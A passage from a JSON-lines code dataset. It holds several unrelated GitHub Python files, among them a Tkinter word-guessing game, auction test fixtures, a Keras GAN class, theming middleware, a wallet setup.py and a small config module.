create_puzzle():\r\n _str = \"\"\r\n for i in range(0,len(current_Word)):\r\n if(random.randrange(0,2)):\r\n _str += \" _\"\r\n else:\r\n _str+=\" \" +current_Word[i]\r\n return _str\r\n \r\ncreate_wordList()\r\ncurrent_Word = select_Random_Word();\r\ncurrent_puzzle = create_puzzle()\r\nused_words = []\r\n\r\nremaining_count = 7\r\nprint(\":\"+current_puzzle + \" \" + str(len(current_puzzle)))\r\nprint(\":\"+current_Word + \" \" + str(len(current_Word)))\r\ndef buttonClicked():\r\n global remaining_count\r\n global current_puzzle\r\n global current_Word\r\n print(current_Word.find(guess.get()))\r\n if(current_Word.find(guess.get()) ==-1):\r\n used_words.append(guess.get())\r\n remaining_count = remaining_count -1\r\n remaining.set(remaining_count)\r\n if(remaining_count == 0):\r\n remaining.set(\"Game over\")\r\n guess.set(\"\")\r\n else:\r\n index = (current_Word.find(guess.get())*2)+1\r\n current_puzzle = current_puzzle[:index] + guess.get() + current_puzzle[index+1:]\r\n hint.set(current_puzzle)\r\n guess.set(\"\")\r\n\r\n print(list(current_Word))\r\n temp = current_puzzle.split(\"_\")\r\n temp = listToString(temp).split(\" \")\r\n if(temp[0] ==\"\"):\r\n temp.pop(0)\r\n print(temp)\r\n\r\n if(list(current_Word) == temp):\r\n remaining.set(\"Game finished\")\r\n \r\n \r\nroot = Tk()\r\nroot.title('Word Guessing Game') ## window title\r\n\r\n\r\nframe = ttk.Frame(root, padding='3 3 12 12')\r\nframe.grid(column=0, row=0, sticky=(N, W, E, S))\r\nframe.columnconfigure(0, weight=1)\r\nframe.rowconfigure(0, weight=1)\r\n\r\nguess = StringVar()\r\noutput = StringVar()\r\nhint = StringVar()\r\nremaining = StringVar()\r\nresult = StringVar()\r\nhint.set(current_puzzle)\r\n\r\nremaining.set(remaining_count)\r\na_label = ttk.Label(frame, text='Enter a letter to guess: ')\r\na_label.grid(column=1, row=1, sticky=E)\r\na_entry = ttk.Entry(frame, width=7, textvariable=guess)\r\na_entry.grid(column=2, row=1,sticky=E)\r\n\r\nb_label = ttk.Label(frame, textvariable=output)\r\n\r\nc_label = ttk.Label(frame, text='Current Hint: ')\r\nc_label.grid(column=1, row=3, sticky=E)\r\nd_label = ttk.Label(frame, textvariable=hint)\r\nd_label.grid(column=2, row=3)\r\n\r\ne_label = ttk.Label(frame, text='Guesses Remaining: ')\r\ne_label.grid(column=1, row=4, sticky=E)\r\nf_label = ttk.Label(frame, textvariable=remaining)\r\nf_label.grid(column=2, row=4)\r\n\r\nbutton = ttk.Button(frame, text='Submit', command=buttonClicked)\r\nbutton.grid(column=3, row=5)\r\n\r\ng_label = ttk.Label(frame, textvariable=result)\r\ng_label.grid(column=1, row=6)\r\n\r\n\r\nfor child in frame.winfo_children():\r\n child.grid_configure(padx=5, pady=5)\r\n\r\nroot.bind('',)\r\n\r\nroot.mainloop()\r\n\r\n\r\n\r\n","repo_name":"AdityaSensarma/Word-Guess-Game","sub_path":"Word Guessing Game.py","file_name":"Word Guessing Game.py","file_ext":"py","file_size_in_byte":3189,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"20365001238","text":"# -*- coding: utf-8 -*-\nimport os\nfrom datetime import datetime, timedelta\nfrom copy import deepcopy\n\nfrom openprocurement.auctions.core.tests.base import (\n BaseWebTest,\n BaseAuctionWebTest,\n test_organization as base_test_organization,\n test_auction_data, base_test_bids\n)\nfrom openprocurement.auctions.core.utils import apply_data_patch\n\n\nfrom openprocurement.auctions.insider.constants import DEFAULT_PROCUREMENT_METHOD_TYPE\n\n\nfrom openprocurement.auctions.insider.tests.fixtures import (\n MOCK_CONFIG_PARTIAL_PLUGINS,\n MOCK_CONFIG_PARTIAL_AUCTION\n)\n\nfrom openprocurement.auctions.core.tests.base import MOCK_CONFIG as BASE_MOCK_CONFIG\nfrom openprocurement.auctions.core.utils import connection_mock_config\n\nnow = datetime.now()\ntest_insider_auction_data = deepcopy(test_auction_data)\n\nschema_properties = {\n \"code\": \"06000000-2\",\n \"version\": \"001\",\n \"properties\": {\n \"region\": \"Вінницька область\",\n \"district\": \"м.Вінниця\",\n \"cadastral_number\": \"1\",\n \"area\": 1,\n \"forms_of_land_ownership\": [\"державна\"],\n \"co_owners\": False,\n \"availability_of_utilities\": True,\n \"current_use\": True\n }\n }\n\ntest_insider_auction_data_with_schema = deepcopy(test_insider_auction_data)\ntest_insider_auction_data_with_schema['items'][0]['classification']['id'] = schema_properties['code']\ntest_insider_auction_data_with_schema['items'][0]['schema_properties'] = schema_properties\n\ntest_organization = deepcopy(base_test_organization)\ntest_organization['additionalIdentifiers'] = [{\n \"scheme\": u\"UA-FIN\",\n \"id\": u\"А01 457213\"\n}]\n\ntest_bids = []\nfor i in base_test_bids:\n bid = deepcopy(i)\n bid.update({'eligible': True})\n bid.update({'qualified': True})\n bid['tenderers'] = [test_organization]\n test_bids.append(bid)\n\ntest_lots = [\n {\n 'title': 'lot title',\n 'description': 'lot description',\n 'value': test_auction_data['value'],\n 'minimalStep': test_auction_data['minimalStep'],\n }\n]\n\nfor data in test_insider_auction_data, test_insider_auction_data_with_schema:\n data[\"procurementMethodType\"] = DEFAULT_PROCUREMENT_METHOD_TYPE\n del data['minimalStep']\n\n\n_MOCK_CONFIG = connection_mock_config(MOCK_CONFIG_PARTIAL_PLUGINS,\n base=BASE_MOCK_CONFIG,\n connector=('plugins', 'api', 'plugins',\n 'auctions.core', 'plugins'))\n\nMOCK_CONFIG = connection_mock_config(MOCK_CONFIG_PARTIAL_AUCTION,\n base=_MOCK_CONFIG,\n connector=('config','auction'))\n\n\nclass BaseInsiderWebTest(BaseWebTest):\n\n \"\"\"Base Web Test to test openprocurement.auctions.insider.\n\n It setups the database before each test and delete it after.\n \"\"\"\n\n relative_to = os.path.dirname(__file__)\n mock_config = MOCK_CONFIG\n\n\nclass BaseInsiderAuctionWebTest(BaseAuctionWebTest):\n relative_to = os.path.dirname(__file__)\n initial_data = test_insider_auction_data\n initial_organization = test_organization\n mock_config = MOCK_CONFIG\n\n def set_status(self, status, extra=None):\n data = {'status': status}\n if status == 'active.tendering':\n data.update({\n \"enquiryPeriod\": {\n \"startDate\": (now).isoformat(),\n \"endDate\": (now + timedelta(days=1)).isoformat()\n },\n \"tenderPeriod\": {\n \"startDate\": (now).isoformat(),\n \"endDate\": (now + timedelta(days=5)).isoformat()\n }\n })\n elif status == 'active.auction':\n data.update({\n \"enquiryPeriod\": {\n \"startDate\": (now - timedelta(days=20)).isoformat(),\n \"endDate\": (now).isoformat()\n },\n \"tenderPeriod\": {\n \"startDate\": (now - timedelta(days=20)).isoformat(),\n \"endDate\": (now + timedelta(hours=1)).isoformat()\n },\n \"auctionPeriod\": {\n \"startDate\": (now).isoformat()\n }\n })\n if self.initial_lots:\n data.update({\n 'lots': [\n {\n \"auctionPeriod\": {\n \"startDate\": (now).isoformat()\n }\n }\n for i in self.initial_lots\n ]\n })\n elif status == 'active.qualification':\n data.update({\n \"enquiryPeriod\": {\n \"startDate\": (now - timedelta(days=20)).isoformat(),\n \"endDate\": (now - timedelta(days=13)).isoformat()\n },\n \"tenderPeriod\": {\n \"startDate\": (now - timedelta(days=20)).isoformat(),\n \"endDate\": (now - timedelta(days=1)).isoformat()\n },\n \"auctionPeriod\": {\n \"startDate\": (now - timedelta(days=2)).isoformat(),\n \"endDate\": (now).isoformat()\n },\n \"awardPeriod\": {\n \"startDate\": (now).isoformat()\n }\n })\n if self.initial_lots:\n data.update({\n 'lots': [\n {\n \"auctionPeriod\": {\n \"startDate\": (now - timedelta(days=1)).isoformat(),\n \"endDate\": (now).isoformat()\n }\n }\n for i in self.initial_lots\n ]\n })\n elif status == 'active.awarded':\n data.update({\n \"enquiryPeriod\": {\n \"startDate\": (now - timedelta(days=20)).isoformat(),\n \"endDate\": (now - timedelta(days=13)).isoformat()\n },\n \"tenderPeriod\": {\n \"startDate\": (now - timedelta(days=20)).isoformat(),\n \"endDate\": (now - timedelta(days=11)).isoformat()\n },\n \"auctionPeriod\": {\n \"startDate\": (now - timedelta(days=12)).isoformat(),\n \"endDate\": (now - timedelta(days=10)).isoformat()\n },\n \"awardPeriod\": {\n \"startDate\": (now - timedelta(days=10)).isoformat(),\n \"endDate\": (now).isoformat()\n }\n })\n if self.initial_lots:\n data.update({\n 'lots': [\n {\n \"auctionPeriod\": {\n \"startDate\": (now - timedelta(days=1)).isoformat(),\n \"endDate\": (now).isoformat()\n }\n }\n for i in self.initial_lots\n ]\n })\n elif status == 'complete':\n data.update({\n \"enquiryPeriod\": {\n \"startDate\": (now - timedelta(days=20)).isoformat(),\n \"endDate\": (now - timedelta(days=13)).isoformat()\n },\n \"tenderPeriod\": {\n \"startDate\": (now - timedelta(days=20)).isoformat(),\n \"endDate\": (now - timedelta(days=13)).isoformat()\n },\n \"auctionPeriod\": {\n \"startDate\": (now - timedelta(days=11)).isoformat(),\n \"endDate\": (now - timedelta(days=10)).isoformat()\n },\n \"awardPeriod\": {\n \"startDate\": (now - timedelta(days=10)).isoformat(),\n \"endDate\": (now - timedelta(days=10)).isoformat()\n }\n })\n if self.initial_lots:\n data.update({\n 'lots': [\n {\n \"auctionPeriod\": {\n \"startDate\": (now - timedelta(days=11)).isoformat(),\n \"endDate\": (now - timedelta(days=10)).isoformat()\n }\n }\n for i in self.initial_lots\n ]\n })\n if extra:\n data.update(extra)\n auction = self.db.get(self.auction_id)\n auction.update(apply_data_patch(auction, data))\n self.db.save(auction)\n authorization = self.app.authorization\n self.app.authorization = ('Basic', ('chronograph', ''))\n #response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {'id': self.auction_id}})\n response = self.app.get('/auctions/{}'.format(self.auction_id))\n self.app.authorization = authorization\n self.assertEqual(response.status, '200 OK')\n self.assertEqual(response.content_type, 'application/json')\n return response\n","repo_name":"openprocurement/openprocurement.auctions.insider","sub_path":"openprocurement/auctions/insider/tests/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":9146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"24079794328","text":"import tensorflow as tf\nfrom keras.layers import LeakyReLU, Activation, BatchNormalization, Input, Dense, Dropout, Concatenate, Lambda\nfrom keras.models import Sequential, Model\nimport keras.backend as K\nimport numpy as np\nfrom tqdm import tqdm\nfrom utils import *\n\n\n\nLAYER_TYPES = ('DENSE', 'DEEP_IMPLICIT',)\n\n\nclass Network(object):\n def __init__(self, h_type='DENSE', activation='leakyrelu', output_activation=None, kernel_regularizer=None,\n batch_norm=True,\n dropout_rate=0.0):\n self.h_layer_type = h_type\n self.activation = activation\n self.batch_norm = batch_norm\n self.dropout_rate = dropout_rate\n self.kernel_regularizer = kernel_regularizer\n self.output_activation = output_activation\n\n def fully_connected(self, dims, name_prefix):\n\n inputs = Input(shape=(dims[0],))\n for i, dim in enumerate(dims[1:-1]):\n # first layer\n if i == 0:\n h = Dense(dim, kernel_regularizer=self.kernel_regularizer(),\n name=name_prefix + '_{}'.format(i))(inputs)\n if self.batch_norm:\n h = BatchNormalization(name=name_prefix + '_BtNorm_{}'.format(i))(h)\n h = transfer(self.activation, h)\n if self.dropout_rate > 0:\n h = Dropout(self.dropout_rate)(h)\n continue\n\n # hidden layers\n h = Dense(dim, kernel_regularizer=self.kernel_regularizer(),\n name=name_prefix + '_{}'.format(i))(h)\n if self.batch_norm:\n h = BatchNormalization(name=name_prefix + '_BtNorm_{}'.format(i))(h)\n h = transfer(self.activation, h)\n if self.dropout_rate > 0:\n h = Dropout(self.dropout_rate)(h)\n # output layer\n out = Dense(dims[-1], kernel_regularizer=self.kernel_regularizer(),\n name=name_prefix + '_{}'.format(len(dims)))(h)\n if self.output_activation is not None:\n out = transfer(self.output_activation, out)\n return Model(inputs=inputs, outputs=out)\n\n def deep_implicit(self, dims, name_prefix, epsilon_stddev=1.0,):\n rand = True\n inputs = Input(shape=(dims[0],))\n for i, dim in enumerate(dims[1:-1]):\n rand = not rand\n if i == 0:\n h = Dense(dim,\n kernel_regularizer=self.kernel_regularizer(), name=name_prefix + '_{}'.format(i))(inputs)\n if self.batch_norm:\n h = BatchNormalization()(h)\n h = transfer(self.activation, h)\n continue\n if rand:\n h = Lambda(lambda x: K.concatenate([x, K.random_normal(shape=K.shape(x), mean=0, stddev=epsilon_stddev)]))(h)\n h = Dense(dim,\n kernel_regularizer=self.kernel_regularizer(), name=name_prefix + '_{}'.format(i))(h)\n if self.batch_norm:\n h = BatchNormalization()(h)\n h = transfer(self.activation, h)\n # last layer\n if not rand:\n h = Lambda(lambda x: K.concatenate([x, K.random_normal(shape=K.shape(x), mean=0, stddev=epsilon_stddev)]))(h)\n out = Dense(dims[-1], kernel_regularizer=self.kernel_regularizer(),\n name=name_prefix + '_{}'.format(len(dims)))(h)\n\n if self.output_activation is not None:\n out = transfer(self.output_activation, out)\n\n return Model(inputs=inputs, outputs=out)\n\n def __call__(self, dims, name_prefix='Layer', **kwargs):\n lt = self.h_layer_type.upper()\n\n if lt == 'DENSE':\n return self.fully_connected(dims, name_prefix)\n elif lt == 'DEEP_IMPLICIT':\n return self.deep_implicit(dims, name_prefix, epsilon_stddev=kwargs.get('epsilon_stddev', 1.0))\n\n\nclass GAN(object):\n \"\"\"\n Basic Generative Adversarial Network\n \"\"\"\n\n def __init__(self, g_config, c_config, noise_sample_size=64, real_samples=None, fake_label=0, real_label=1):\n \"\"\"\n :param g_config : (dictionary) Containing the configuration of the generator, keys:\n \"type\" : (string) from the list of LAYER_TYPES\n \"dims\" : structure of the genarator e.g. [2,3,2] is a generator with 2d input a hidden layer with 3 hidden units and 2 output units\n \"activation\": (string) activation for the hidden units\n \"output_activation\":(string or None) activation function of the output layer\n \"batch_norm\": (boolean) indicate the presence/absence of batch normalization layer\n \"optimizer\" \": optimization algorithm for the generator\n :param c_config : (dictionary) Containing the configuration of the critic (similar to the g_config)\n :param noise_sample_size :(int) number of noise samples in the input of the generator\n\n \"\"\"\n self.g_config = g_config\n self.c_config = c_config\n assert (self.c_config['dims'][0] == self.g_config['dims'][-1])\n self.noise_sample_size = noise_sample_size\n self.real_samples = real_samples\n if self.real_samples is None:\n self.real_samples = K.random_normal(shape=(self.noise_sample_size, self.c_config[\"dims\"][0]), mean=0.0, stddev=1.0)\n\n self.init_model()\n # set the distribution/model that generates the real samples for the critic. (prior)\n self.performance_log = {'critic': [], 'generator': []}\n self.fake_label, self.real_label = fake_label,real_label\n\n\n def build_generator(self):\n \"\"\"\n Create an generator\n :return: a generator z-x model of type LAYER_TYPES[self.mode]\n \"\"\"\n cnet = Network(h_type=self.g_config['h_type'],\n activation=self.g_config['activation'],\n output_activation=self.g_config['output_activation'],\n kernel_regularizer=self.g_config['kernel_regularizer'],\n batch_norm=self.g_config['batch_norm'],\n dropout_rate=self.g_config['dropout_rate'])\n # generator weights\n if self.g_config['h_type'] == 'DEEP_IMPLICIT' :\n generator = cnet(dims=self.g_config['dims'],sample_size=self.noise_sample_size, name_prefix='G')\n else:\n generator = cnet(dims=self.g_config['dims'], name_prefix='G')\n self.g_model = Sequential([generator], name=\"G_trainable\")\n # non-trainable generator\n self.g_freezed = Sequential([generator], name=\"G_freezed\")\n self.g_freezed.trainable = False\n\n\n def build_critic(self):\n cnet = Network(h_type=self.c_config['h_type'],\n activation=self.c_config['activation'],\n output_activation=self.c_config['output_activation'],\n kernel_regularizer=self.c_config['kernel_regularizer'],\n batch_norm=self.c_config['batch_norm'],\n dropout_rate=self.c_config['dropout_rate'])\n # critic weights\n critic = cnet(dims=self.c_config['dims'], name_prefix='C')\n # trainable critic\n self.c_model = Sequential([critic], name=\"C_trainable\")\n # non-trainable critic\n self.c_freezed = Sequential([critic], name=\"C_freezed\")\n self.c_freezed.trainable = False\n\n def noise(self):\n return K.random_normal((self.noise_sample_size, self.g_config['dims'][0]))\n\n def init_model(self):\n \"\"\"\n create generator, discriminator and their non-trainable versions\n Put everything together to build the GAN\n :return: generator self.g_model, discriminator self.c_model, non-trainable generator self.g_freezed,\n non-trainable discriminator\n \"\"\"\n # noise input\n z = self.noise()\n\n self.build_generator()\n self.build_critic()\n\n # create a model to train generator\n self.build_gan_model(z)\n\n self.compile_g()\n # create a model to train the critic\n self.build_critic_model(z,self.real_samples)\n self.compile_c()\n\n\n def build_gan_model(self,z_tensor):\n \"\"\"\n wire up generator and non-trainable discriminator/critic to train generator\n :return: trainable GAN model self.gan_model_tg\n \"\"\"\n ### model to train generator###\n z = Input(shape=(self.g_config[\"dims\"][0],),tensor=z_tensor)\n g_of_z = self.g_model(z)\n c_out = self.c_freezed(g_of_z)\n self.gan_model_tg = Model(inputs=z,outputs=c_out)\n\n\n\n def build_critic_model(self,z_tensor,real_tensor):\n \"\"\"\n set up a model to train the discriminator\n :return: self.gan_model_tc\n \"\"\"\n #### models to train descriminator###\n # noise input\n\n # fake samples\n z = Input(shape=(self.g_config[\"dims\"][0],),tensor=z_tensor)\n self.fake = self.g_freezed(z)\n # critic output for fake samples\n c_out_fake = self.c_model(self.fake)\n # real sample\n real = Input(shape=(self.g_config[\"dims\"][-1],), tensor=K.cast(real_tensor,dtype=\"float32\"))\n # critic output for real samples\n c_out_real = self.c_model(real)\n self.gan_model_tc = Model(inputs=[z, real], outputs=[c_out_fake, c_out_real])\n\n\n def compile_c(self):\n self.gan_model_tc.compile(optimizer=self.c_config['optimizer'](), loss=[self.c_config['loss']['fake'] , self.c_config['loss']['real']])\n\n def compile_g(self):\n self.gan_model_tg.compile(optimizer=self.g_config['optimizer'](), loss=self.g_config['loss'])\n\n\n\n def pre_train(self,n_pretrain):\n fake_labels = self.get_fake_labels(self.noise_sample_size)\n real_labels = self.get_real_labels(self.noise_sample_size)\n for j in range(n_pretrain):\n self.gan_model_tc.train_on_batch(x=None, y=[fake_labels, real_labels])\n\n def train(self, n_train, n_c_train,n_pretrain=0):\n fake_labels = self.get_fake_labels(self.noise_sample_size)\n real_labels = self.get_real_labels(self.noise_sample_size)\n\n for j in range(n_pretrain):\n self.performance_log['critic'].append(\n self.gan_model_tc.train_on_batch(x=None, y=[fake_labels, real_labels]))\n\n\n for i in tqdm(range(n_train)):\n for j in range(n_c_train):\n self.performance_log['critic'].append(self.gan_model_tc.train_on_batch(x=None,y=[fake_labels, real_labels]))\n self.performance_log['generator'].append(self.gan_model_tg.train_on_batch(x=None,y=real_labels))\n\n def sample_fake(self, sample_size,noise_var=1):\n \"\"\"\n Samples from the generator\n :param sample_size: number of generated samples\n\n \"\"\"\n z = np.random.multivariate_normal(mean=np.zeros(shape=(self.g_config['dims'][0],)), cov=noise_var*np.eye(self.g_config['dims'][0],),\n size=sample_size)\n return self.g_model.predict(z)\n\n def get_loss(self, x):\n \"\"\"\n :param x: a set of real or fake samples\n :return: loss value generated by the discriminator\n \"\"\"\n return self.c_model.predict(x)\n\n\n @staticmethod\n def get_real_labels(sample_size):\n \"\"\"\n Generates lables for real samples via one-sided label smoothing\n :param sample_size: (int) number of real samples\n :return: lables for real samples\n \"\"\"\n return np.ones((sample_size, 1), dtype=np.float32)\n\n # return np.random.uniform(low=0.8, high=1.2, size=sample_size).reshape((sample_size, 1))\n\n @staticmethod\n def get_fake_labels(sample_size):\n \"\"\"\n Generates labels for fake samples\n :param sample_size: (int) number of fake samples\n :return: lables for fake samples\n \"\"\"\n return np.zeros((sample_size, 1), dtype=np.float32)\n\n\n","repo_name":"MashallAryan1/Hypernet","sub_path":"generative_models.py","file_name":"generative_models.py","file_ext":"py","file_size_in_byte":11943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"25640653381","text":"\"\"\"\nMiddleware for theming app\n\nNote:\n This middleware depends on \"django_sites_extensions.middleware.CurrentSiteWithDefaultMiddleware\" middleware\n So it must be added after this middleware in django settings files.\n\"\"\"\nfrom django.utils.deprecation import MiddlewareMixin\n\nfrom ecommerce.theming.models import SiteTheme\n\n\nclass CurrentSiteThemeMiddleware(MiddlewareMixin):\n \"\"\"\n Middleware that sets `site_theme` attribute to request object.\n \"\"\"\n\n def process_request(self, request):\n request.site_theme = SiteTheme.get_theme(request.site)\n\n\nclass ThemePreviewMiddleware(MiddlewareMixin):\n \"\"\"\n Middleware for previewing themes. This middleware should be added after\n CurrentSiteThemeMiddleware and SessionMiddleware.\n \"\"\"\n\n def process_request(self, request):\n\n if 'clear-theme' in request.GET and 'preview-theme' in request.session:\n del request.session['preview-theme']\n\n preview_theme = request.GET.get('preview-theme') or request.session.get('preview-theme')\n\n if request.user.is_staff and preview_theme:\n request.session['preview-theme'] = preview_theme\n\n request.site_theme = SiteTheme(\n site=getattr(request, 'site', None),\n theme_dir_name=preview_theme,\n )\n","repo_name":"openedx/ecommerce","sub_path":"ecommerce/theming/middleware.py","file_name":"middleware.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"en","doc_type":"code","stars":138,"dataset":"github-code","pt":"47"} +{"seq_id":"35133996934","text":"#!/usr/bin/env python2\n\n# python setup.py sdist --format=zip,gztar\n\nfrom setuptools import setup\nimport os\nimport sys\nimport platform\nimport imp\nimport argparse\n\nversion = imp.load_source('version', 'lib/version.py')\n\nif sys.version_info[:3] < (2, 7, 0):\n sys.exit(\"Error: Electrum requires Python version >= 2.7.0...\")\n\ndata_files = []\n\nif platform.system() in ['Linux', 'FreeBSD', 'DragonFly']:\n parser = argparse.ArgumentParser()\n parser.add_argument('--root=', dest='root_path', metavar='dir', default='/')\n opts, _ = parser.parse_known_args(sys.argv[1:])\n usr_share = os.path.join(sys.prefix, \"share\")\n if not os.access(opts.root_path + usr_share, os.W_OK) and \\\n not os.access(opts.root_path, os.W_OK):\n if 'XDG_DATA_HOME' in os.environ.keys():\n usr_share = os.environ['XDG_DATA_HOME']\n else:\n usr_share = os.path.expanduser('~/.local/share')\n data_files += [\n (os.path.join(usr_share, 'applications/'), ['electrum-twist.desktop']),\n (os.path.join(usr_share, 'pixmaps/'), ['icons/electrum-twist.png'])\n ]\n\nsetup(\n name=\"Electrum-twist\",\n version=version.ELECTRUM_VERSION,\n install_requires=[\n 'slowaes>=0.1a1',\n 'ecdsa>=0.9',\n 'pbkdf2',\n 'requests',\n 'qrcode',\n 'protobuf',\n 'dnspython',\n 'jsonrpclib',\n ],\n packages=[\n 'electrum_twist',\n 'electrum_twist_gui',\n 'electrum_twist_gui.qt',\n 'electrum_twist_plugins',\n 'electrum_twist_plugins.audio_modem',\n 'electrum_twist_plugins.cosigner_pool',\n 'electrum_twist_plugins.email_requests',\n 'electrum_twist_plugins.exchange_rate',\n 'electrum_twist_plugins.hw_wallet',\n 'electrum_twist_plugins.keepkey',\n 'electrum_twist_plugins.labels',\n 'electrum_twist_plugins.ledger',\n 'electrum_twist_plugins.plot',\n 'electrum_twist_plugins.trezor',\n 'electrum_twist_plugins.virtualkeyboard',\n ],\n package_dir={\n 'electrum_twist': 'lib',\n 'electrum_twist_gui': 'gui',\n 'electrum_twist_plugins': 'plugins',\n },\n package_data={\n 'electrum_twist': [\n 'www/index.html',\n 'wordlist/*.txt',\n 'locale/*/LC_MESSAGES/electrum.mo',\n ]\n },\n scripts=['electrum-twist'],\n data_files=data_files,\n description=\"Lightweight twist Wallet\",\n author=\"TWISTproject\",\n license=\"MIT Licence\",\n url=\"https://twist.network\",\n long_description=\"\"\"Lightweight twist Wallet\"\"\"\n)\n","repo_name":"TWISTproject/electrum-twist","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"12072333879","text":"from floor import Floor\nfrom elevator import Elevator\nfrom window import Window\nfrom owner import Owner\nfrom architector import Architector\nfrom location.street import Street\nfrom location.city import City\nfrom manager import Manager\nfrom apartment import Apartment\n\n\n# Building\nclass Building:\n\n def __init__(self, created: int, floor: Floor, build_type: str, city: City, street: Street):\n self._created = created\n self.build_type = build_type\n self.floor = floor\n self.elevator = None\n self.window = None\n self.owner = None\n self.architector = None\n self.city = city\n self.street = street\n self.manager = None\n self.apartment = None\n self.apartments = []\n\n def set_apartments(self):\n if Apartment.apartments:\n self.apartments = Apartment.apartments\n\n def get_apartments(self):\n return self.apartments\n\n def __repr__(self):\n return f'{self.build_type} building'\n\n\nmy_building = Building(2023, Floor(1), 'ordinary', City('New-York'), Street('Pa-venue', 13))\n# my_building.elevator = Elevator()\n# my_building.window = Window()\n# my_building.window.add_window(5)\n# my_building.owner = Owner()\n# my_building.owner.set_owner('Kachur Nikita')\n# my_building.architector = Architector()\n# my_building.architector.set_architector('Architector')\napartment_1 = my_building.apartment = Apartment()\nmy_building.apartment.add_tenant('Biden', 'k', 111)\nmy_building.apartment.add_tenant('Biden', 'k', 111)\nmy_building.apartment.add_tenant('Biden', 'k', 111)\nmy_building.apartment.add_tenant('Biden', 'k', 111)\nprint(apartment_1.tenants_in_apartment())\napartment_2 = my_building.apartment = Apartment()\nmy_building.apartment.add_tenant('Tramp', 's', 222)\nmy_building.apartment.add_tenant('Tramp', 's', 222)\nmy_building.apartment.add_tenant('Tramp', 's', 222)\nmy_building.apartment.add_tenant('Tramp', 's', 222)\nprint(apartment_2.tenants_in_apartment())\nprint(my_building.set_apartments())\nprint(my_building.get_apartments())\n\n\n\n\n","repo_name":"kachurNikita/Building-OOP","sub_path":"building.py","file_name":"building.py","file_ext":"py","file_size_in_byte":2041,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"37204554567","text":"# with open('inputs/test.txt') as input_file:\nwith open('inputs/1.txt') as input_file:\n lines = input_file.read().splitlines()\n\n# print(lines)\n\nmytime = int(lines[0])\n# print(time)\nbuses = [int(x) for x in lines[1].split(',') if x!='x']\n# print(buses)\n\nmybus = None\nfor bus in buses:\n bustime = mytime\n while bustime%bus != 0:\n # print(bus, bustime)\n bustime += 1\n diference = bustime - mytime\n if mybus is None or diference < mybus[0]:\n mybus = (diference, bus)\nprint(mybus)\nprint(mybus[0]*mybus[1])\n","repo_name":"cimerson/aoc2020","sub_path":"day13/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"19394500346","text":"import os\n\nRABBITMQ_ACCESSION_QUEUE = 'ingest.metadata.accession.queue'\nRABBITMQ_VALIDATION_QUEUE = 'ingest.metadata.validation.queue'\n\nRABBITMQ_ACCESSION_QUEUE = os.environ.get('RABBITMQ_ACCESSION_QUEUE', RABBITMQ_ACCESSION_QUEUE)\nRABBITMQ_VALIDATION_QUEUE = os.environ.get('RABBITMQ_VALIDATION_QUEUE', RABBITMQ_VALIDATION_QUEUE)\n\nRABBITMQ_HOST = 'amqp://127.0.0.1'\nRABBITMQ_PORT = '5672'\nRABBITMQ_URL = RABBITMQ_HOST + ':' + RABBITMQ_PORT\nRABBITMQ_URL = os.path.expandvars(os.environ.get('RABBIT_URL', RABBITMQ_URL))\n\nINGEST_API_HOST = 'http://localhost'\nINGEST_API_PORT = '8080'\n\nINGEST_API_URL = INGEST_API_HOST + ':' + INGEST_API_PORT\nINGEST_API_URL = os.path.expandvars(os.environ.get('INGEST_API', INGEST_API_URL))\n","repo_name":"rdgoite/hca-monorepo","sub_path":"ingest-accessioner/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"33270165940","text":"# imports for training\r\nimport pytorch_lightning as pl\r\nfrom pytorch_lightning.loggers import TensorBoardLogger\r\nfrom pytorch_lightning.callbacks import EarlyStopping, LearningRateMonitor\r\n# import dataset, network to train and metric to optimize\r\nfrom pytorch_forecasting import TimeSeriesDataSet, TemporalFusionTransformer, QuantileLoss\r\n\r\n# load data: this is pandas dataframe with at least a column for\r\n# * the target (what you want to predict)\r\n# * the timeseries ID (which should be a unique string to identify each timeseries)\r\n# * the time of the observation (which should be a monotonically increasing integer)\r\ndata = ...\r\n\r\n# define the dataset, i.e. add metadata to pandas dataframe for the model to understand it\r\nmax_encoder_length = 36\r\nmax_prediction_length = 6\r\ntraining_cutoff = \"YYYY-MM-DD\" # day for cutoff\r\n\r\ntraining = TimeSeriesDataSet(\r\n data[lambda x: x.date <= training_cutoff],\r\n time_idx= ..., # column name of time of observation\r\n target= ..., # column name of target to predict\r\n group_ids=[ ... ], # column name(s) for timeseries IDs\r\n max_encoder_length=max_encoder_length, # how much history to use\r\n max_prediction_length=max_prediction_length, # how far to predict into future\r\n # covariates static for a timeseries ID\r\n static_categoricals=[ ... ],\r\n static_reals=[ ... ],\r\n # covariates known and unknown in the future to inform prediction\r\n time_varying_known_categoricals=[ ... ],\r\n time_varying_known_reals=[ ... ],\r\n time_varying_unknown_categoricals=[ ... ],\r\n time_varying_unknown_reals=[ ... ],\r\n)\r\n\r\n# create validation dataset using the same normalization techniques as for the training dataset\r\nvalidation = TimeSeriesDataSet.from_dataset(training, data, min_prediction_idx=training.index.time.max() + 1, stop_randomization=True)\r\n\r\n# convert datasets to dataloaders for training\r\nbatch_size = 128\r\ntrain_dataloader = training.to_dataloader(train=True, batch_size=batch_size, num_workers=2)\r\nval_dataloader = validation.to_dataloader(train=False, batch_size=batch_size, num_workers=2)\r\n\r\n# create PyTorch Lighning Trainer with early stopping\r\nearly_stop_callback = EarlyStopping(monitor=\"val_loss\", min_delta=1e-4, patience=1, verbose=False, mode=\"min\")\r\nlr_logger = LearningRateMonitor()\r\ntrainer = pl.Trainer(\r\n max_epochs=100,\r\n gpus=0, # run on CPU, if on multiple GPUs, use accelerator=\"ddp\"\r\n 